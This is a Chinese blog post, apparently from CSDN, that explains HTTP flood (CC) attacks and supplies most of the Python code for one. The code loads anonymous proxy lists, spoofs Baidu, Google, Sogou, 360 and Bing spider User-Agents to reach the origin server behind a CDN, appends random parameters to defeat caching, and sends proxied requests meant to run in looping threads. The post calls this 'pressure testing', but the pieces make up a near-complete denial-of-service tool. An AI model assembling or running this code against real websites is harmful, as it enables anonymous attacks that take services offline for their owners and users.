python爬虫数据库压力测试_用Python脚本实现CC压力测试

首先需要了解什么是 CC攻击 以及实现原理:HTTP Flood 的别称叫做 CC 攻击,实现 HTTP Flood 攻击并不需要控制大批的肉鸡,取而代之的是通过端口扫描程序在互联网上寻找匿名的 HTTP代理 或者 SOCKS代理。攻击者通过匿名代理伪装成正常用户来对攻击目标发起 HTTP 请求,产生大量的连接数来消耗站点资源,CC 攻击主要是针对网页的攻击。

通过上面的描述,可以总结出以下几点:

1. 需要一定量的可用高匿代理

2. 需要通过代理请求站点

3. 需要多线程甚至多进程配合多线程的方式实现请求

Python 库requests,实现 HTTP 请求

fake_useragent,随机生成浏览器 UA

还有一些官方库,如 threading、random、time 等

编写思路

注:为避免滥用,本文不提供成品脚本,博主水平业余,代码难免有不合理之处,请谅解。网上有很多免费代理站,可以提取到不少代理 IP,不过大部分都是不可用的,需要增加验证步骤。上次搞爬虫做了一个提取代理 IP 的脚本可以直接用:Proxy-IP,不过这个脚本生成的是 .txt,所以还需要取出来供后续使用:# 读取IP列表函数

def open_file(txt):

global ip

ip = []

try:

file = open(txt, "r", encoding="utf-8")

ip_lists = file.readlines() # 取出每行作为数组

for i in ip_lists:

ip.append(i.replace("n", ""))

print("共读取到" + str(len(ip)) + "个IP!")

except Exception as e:

print(e)现在不少站点都开了 CDN,但是有些站长为了及时收录开启了搜索引擎回源,可以通过伪造蜘蛛 UA 绕过 CDN 防护从而访问源站:# UA列表,用于过CDN和部分盾

UA = [

"Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)", # 百度蜘蛛抓取欺骗

"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)", # 谷歌蜘蛛抓取欺骗

"Sogou web spider/4.0( http://www.sogou.com/docs/help/webmasters.htm#07)", # 搜狗蜘蛛抓取欺骗

"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11; 360Spider", # 奇虎蜘蛛抓取欺骗

"Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)" # 必应蜘蛛抓取欺骗

]GET请求方式需要添加随机参数值,不管是原始的参数随机,还是自定义一个 random 参数都是很有必要的,可跨过一些 cache:# 生成随机参数函数

def random_parameters(site_url):

items = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',

'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']

temp = ""

random_str = temp.join(random.sample(items, 10))

if site_url.find('?') >= 0:

site_url = site_url + "&_random=" + random_str

else:

site_url = site_url + "/?_random=" + random_str

return site_url准备完成,下一步需要通过代理请求站点:# GET请求主线程函数

def cc(site, ua, refer, mode):

# Header请求头,如有其它参数的可以往里面加

headers = {

"User-Agent": "",

"Referer": "",

"Cache-Control": "no-cache"

}

# 选择User-Agent

if ua == '2':

headers["User-Agent"] = UA[1]

elif ua == '3':

headers["User-Agent"] = UA[2]

elif ua == '4':

headers["User-Agent"] = UA[3]

elif ua == '5':

headers["User-Agent"] = UA[4]

elif ua == '6':

random_ua = UserAgent()

headers["User-Agent"] = random_ua.random

elif ua == '7':

headers["User-Agent"] = random.choice(UA)

else:

headers["User-Agent"] = UA[0]

# 选择Referer

headers["Referer"] = refer

# print(headers)

# 选择是否使用代理

try:

if mode == "2":

res = requests.get(random_parameters(site), headers=headers, timeout=15) # 不使用代理IP,超时时间默认15S,也就是10秒请求不到内容才进入下一个请求,不要太快

else:

proxy_host = random.choice(ip) # 随取IP

proxy_temp = {"http": proxy_host, "https": proxy_host}

res = requests.get(random_parameters(site), headers=headers, proxies=proxy_temp, timeout=15) # 使用代理IP

print(res)

except Exception as e:

print(e)最后就是使用 Python 多线程或者多进程配合多线程的方法来调用 cc() 函数提高效率了,再套层死循环。

注意事项

不建议无限制的发包,timeout 设置的很低是没有意义的,只会让自己的主机 CPU 使用率抬的太高而卡死,请求断开了服务端会直接无视这个请求,直接完成连接获取数据即可。

后话

这东西最后我是用线程池实现的多线程请求,不得不说 requests 这个库是真的好用,测试时使用了100多个代理,直接把自己博客搞挂,不过对于 Cloudflare 这种5秒盾的 CDN 来说就没办法了。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值